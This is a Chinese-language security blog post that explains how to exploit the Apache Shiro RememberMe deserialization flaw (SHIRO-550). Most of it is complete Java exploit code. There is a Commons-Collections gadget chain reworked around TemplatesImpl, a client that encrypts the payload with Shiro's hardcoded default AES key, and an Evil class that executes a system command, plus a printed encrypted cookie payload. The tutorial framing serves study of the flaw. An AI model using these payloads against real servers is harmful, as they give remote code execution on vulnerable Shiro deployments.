TemplatesImpl在Shiro中的利用
2022-03-17 16:44:00 # Java # Java # 反序列化 # Commons-Collections # Shiro

TemplatesImpl在Shiro中的利用

前言

前面学习了CC1、CC3和CC6，其中CC6是不限制版本的一条链，那么为什么还要用到TemplatesImpl这条链呢?不妨我们设想一下:命令执行和代码执行到底谁更有价值?

例如在PHP中会遇到一个场景，call_user_func和eval都能造成的代码执行，而更多的人愿意使用eval，原因是call_user_func在某种情况下会被限制不能使用assert和system函数。通过TemplatesImpl构造的利用链，理论上可以执行任意Java代码。

Shiro反序列化原理

Apache Shiro框架提供了记住我的功能（RememberMe），用户登陆成功后会生成经过加密并编码的cookie，在服务端接收cookie值后，Base64解码–>AES解密–>反序列化。攻击者只要找到AES加密的密钥，就可以构造一个恶意对象，对其进行序列化–>AES加密–>Base64编码，然后将其作为cookie的rememberMe字段发送，Shiro将rememberMe进行解密并且反序列化，最终造成反序列化漏洞。
Shiro 1.2.4版本默认固定密钥：kPH+bIxk5D2deZiIxcaaaA==
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影响版本

Shiro 1.2.4及之前的版本中，AES加密的密钥默认硬编码在代码里（SHIRO-550），Shiro 1.2.4以上版本官方移除了代码中的默认密钥，要求开发者自己设置，如果开发者没有设置，则默认动态生成，降低了固定密钥泄漏的风险。

漏洞环境搭建

漏洞环境: 点击访问

搭建教程: 点击访问

访问首页，如图所示即已搭建成功

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漏洞分析

先添加一波依赖:

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<dependency>
      <groupId>org.apache.shiro</groupId>
      <artifactId>shiro-core</artifactId>
      <version>1.2.4</version>
</dependency>
<dependency>
      <groupId>org.javassist</groupId>
      <artifactId>javassist</artifactId>
      <version>3.27.0-GA</version>
</dependency>

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先登录抓包一下，使用root/secret登录并勾选Remember Me。

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勾选登录后，Cookie会生成rememberMe字段，这条链子的一个攻击流程就是:

  1. CC链生成payload
  2. 使用Shiro默认密钥进行AES加密
  3. 进行Base64编码
  4. 传入Cookie中的remember字段发送给服务器，最后进行反序列化

不过这里的CC链需要改造CC6才能打，我们先直接来打，看看是什么效果捏?

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package Shiro;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;


public class CommonsCollections6 {
    public static byte[] getPayload(String command) throws Exception {
        Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] { String.class,
                        Class[].class }, new Object[] { "getRuntime",
                        new Class[0] }),
                new InvokerTransformer("invoke", new Class[] { Object.class,
                        Object[].class }, new Object[] { null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] { String.class },
                        new String[] { command }),
                new ConstantTransformer(1),
        };
        Transformer transformerChain = new ChainedTransformer(fakeTransformers);

        // 不再使用原CommonsCollections6中的HashSet，直接使用HashMap
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);

        TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");

        Map expMap = new HashMap();
        expMap.put(tme, "valuevalue");

        outerMap.remove("keykey");

        Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(transformerChain, transformers);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(expMap);
        oos.close();

        return barr.toByteArray();
    }
}
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package Shiro;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
public class Client {
    public static void main(String[] args) throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.get(Shiro.Evil.class.getName());
        byte[] payloads = new CommonsCollectionsShiro().getPayload(clazz.toBytecode());

        AesCipherService aes = new AesCipherService();
        byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");

        ByteSource ciphertext = aes.encrypt(payloads, key);
        System.out.printf(ciphertext.toString());

    }
}

加密的过程，我直接使用的shiro内置的类org.apache.shiro.crypto.AesCipherService，最后生成一段base64字符串:

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8hUffthcUeeLkklAI0FNJwESbBbDgOXdmJZgVFIT091XnNe8AOefNV7cz1O+X4eHMxpoy0Yzl4Kd4QNpXNf97iBIBmwtdH5ld15SJBREX947DUjYxeG2byCRGHkrYvR+7qpx+d8wXQoK1lspXdu3r795ezC/xC0WbmZxxxvrXdRN+BuJr9aiO74mjGB01DkIJUPcoUkVyYawR1uvhpWJQTQzIoLCkySrElzp7SHMxivFl5QMer/ZOwNjhXRWzbrL9nuWrWve9ZCvkhKEAARINETCy40jzHa4zoKoGlZN1wEfqX39eAQ9Onh5GKMc/MM1He/PQEgOt8LykMiJjBs6aoYVjRl4KOgr3M940sJNTJjFOVPtnf1NK3mMqzy2zB5jn1RMkG9L0VIwo1OXcGSlJOftS1V2b+sBjCD3NwqCBAbXrluTxrFz4umWdb+SqQtSC5162IwLVL+Zbmgj/ygXYvTFUvrgf8DpYhT8t4KvJxYKT/vNfdukWhe1NRWUGKmrT3n7s/L7l6+h82bLkf6XxW38mHliDcCuVbTi8qQW4qGdp3c5CfBF6vWbSlsv7904KuUXhSyaiJCpyLuPKcG0AB4B4Rk/9zQ9iq/IAA7g/r/z3KhvonSZXAm75xoqpV8UAjx+LHi9e/lbYvaOOi9EqxWZVEVdXU8Nac3IOSeW9OydVl1ICHb2LLOS2I8wY3TlZRnJPj7CS+KkT6R4NW9IidzKju1PXgcU1QlKjcfQ90CeWclI+zFVCbIxQY4khNkPYjBzTdTitAV0Uvd/76Su9CDlfVaMAtNDJ9omivf4Lb4UiQCmz8lUfSQFhvK5FYqZi28v+Y18WlOls8lS0YdsnCpvVThwg3MkQKJfBCkKx3Fj5kqn1j2jCcdp24RZ5Vqov7urUli3hXL2I7fekicuDwgyq3defCQ+uIRhAzFYxwejKKJgvOLyPHLpJh5aPPR2UD7DdR3sDY3yjg1Gb3grg+9hnRJ6YQ92EJLt5migQxLWOQK12kFBbWn01zIFWWJweWDtYUzhsV13UDuMg774rrD0PawLSi9f+zlVqJBsuAxoTDE/g1sBD1Vg8IcJI1L6BFdLn8gANeFlGFjoYTfBTcfbl6DRCGAw3RPOPBohQhwuCLyZKNdPVCzZjlHg2NEND4DRZItLfLEjYXUz/M91eX3ifiHVHlkG8UrpeqjH/z5a5ZjoO0N+Aq7aF+f7mxVTYf+ppvVPWO7OniM/7xntaU7SeX1NMku8XsnBwNUf02ibLCIbHgdZX2rJdHWuxn7AXUAJ//W4xIGgYn6mX3/lCnaqNxwwjFudwho55aowtBunUUX+yE3ZZxTEjAQHfcML2idFerDOBYxdcfLcwmS/XEklmf2chX5odNg179dJglwzKjGwJVij9ZWhuu6r4eqQ5WF/9dc2wNXDQzJ9R1Nv1ylMgtRpOka1XUVY7VK1Qv1q0gdHeuvDhmwQn+tCh5C+pBkzA+O0JokZEGUjOksi1DIKCJBbuNCJB8m+vTgl/coJ5vVTR0p58u0gdmlpUMSPy+Z8PEvBxL9erE1YUvQYkD5d3rGqC2ZHldMKhv668ru3DvtiqVfg3nm7d1QHRPqeBz3HU2qNUVvgJGqihwu9O9m2AWLQ6bLKBneRt7P3vH/hRM7ZW2ZTkC+0XBMKiMYfRrcMlF5u4gvLkP9REaYAVgPwWHV7C86sncQFzQdNh+sPoyRVVBZYV832Ay7xzWJc

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可以看到，是没有成功弹出计算器的，我们来思考一下为什么呢?

P牛在其Java安全漫谈中给出了答案: 如果反序列化流中包含非Java自身的数组，则会出现无法加载类的错误。

构造不含数组的反序列化Gadget

接下来，看看如何使用TemplatesImpl来改造CC6。CC6分析传送门首先可以通过下面这几行代码来执行一段Java的字节码

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TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {"...bytescode"});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
obj.newTransformer();

而在CC3中介绍了，利用 InvokerTransformer 调用 TemplatesImpl#newTransformer 方法：

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Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(obj),
    new InvokerTransformer("newTransformer", null, null)
};

但是这里仍然是用到了Transformer[]，所以还算不满足条件。

在CommonsCollections6中使用了TiedMapEntry这个类，它的构造函数接受了两个参数，一个是Map，一个是对象Key。TiedMapEntry类有个getValue调用了map的get方法，并传入key。

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public Object getValue() {
    return map.get(key);
}

当这个map被传入LazyMap的时候，其get方法就触发了transform()方法。

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public Object get(Object key) {
    // create value for key if key is not currently in the map
    if (map.containsKey(key) == false) {
        Object value = factory.transform(key);
        map.put(key, value);
        return value;
    }
    return map.get(key);
}

在以前构造CC6的时候，这里参数key的值实际上是可以随意设置的，因为Transformer[]数组的首个对象是ConstantTransformer，我们是通过ConstantTransformer来初始化恶意对象。

1647521620469.png

但是现在不能使用Transformer[]数组了，自然也就不能使用ConstantTransformer了。但是此时这个LazyMap#get 的参数key却让人引起重视，因为这个key会被传入transform()，也就是它也能扮演ConstantTransformer的角色，用来传递恶意对象。

改造CommonsCollections6为 CommonsCollectionsShiro

首先第一步还算使用TemplatesImpl对象:

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TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {"...bytescode"});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

然后用newTransformer方法的InvokerTransformer，但此时先构造一个fake，防止恶意方法在构造链子的时候触发:

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Transformer transformer = new InvokerTransformer("getClass", null, null);

然后下面就继续用CC6的代码，在TiedMapEntry构造的时候，第二个参数key传入刚刚创建的TemplatesImpl对象:

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Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformer);
TiedMapEntry tme = new TiedMapEntry(outerMap, obj);
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
outerMap.clear();

之前使用的outerMap.remove来移除keykey这个值，这里可以用过 outerMap.clear()效果是一样的。

最后，将 InvokerTransformer 的方法从人畜无害的 getClass ，改成 newTransformer(用于初始化，触发恶意类的构造函数)

完整CommonsCollectionsShiro:

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package Shiro;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CommonsCollectionsShiro {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public byte[] getPayload(byte[] clazzBytes) throws Exception {
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        Transformer transformer = new InvokerTransformer("getClass", null, null);

        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformer);

        TiedMapEntry tme = new TiedMapEntry(outerMap, obj);

        Map expMap = new HashMap();
        expMap.put(tme, "valuevalue");

        outerMap.clear();
        setFieldValue(transformer, "iMethodName", "newTransformer");

        // ==================
        // 生成序列化字符串
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(expMap);
        oos.close();

        return barr.toByteArray();
    }
}

写一个Client.java来配合链子生成payload:

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package Shiro;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
public class Client {
    public static void main(String[] args) throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.get(Shiro.Evil.class.getName());
        byte[] payloads = new CommonsCollectionsShiro().getPayload(clazz.toBytecode());

        AesCipherService aes = new AesCipherService();
        byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");

        ByteSource ciphertext = aes.encrypt(payloads, key);
        System.out.printf(ciphertext.toString());

    }
}

Evil类

还有一个Evil类，用到了javassist，它是一个字节码操纵的第三方库，可以帮助我们把恶意类转化为字节码文件，再传入TemplatesImpl进行类加载。

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package Shiro;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class Evil extends AbstractTranslet {
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}

    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}

    public Evil() throws Exception {
        super();
        System.out.println("Hello TemplatesImpl");
        Runtime.getRuntime().exec("calc.exe");
    }
}

Payload:

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最后

  • Shiro不是遇到Tomcat就一定会有数组这个问题

  • Shiro-550的修复并不意味着反序列化漏洞的修复，只是默认Key被移除了，还有新的Shiro721

  • Shiro550使用已知密钥撞，Shiro721是使用登录后rememberMe={value}去爆破正确的key值进而反序列化，对比Shiro550条件只要有足够密钥库（条件比较低）、Shiro721需要登录（要求比较高鸡肋）

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2022-03-17 16:44:00 # Java # Java # 反序列化 # Commons-Collections # Shiro
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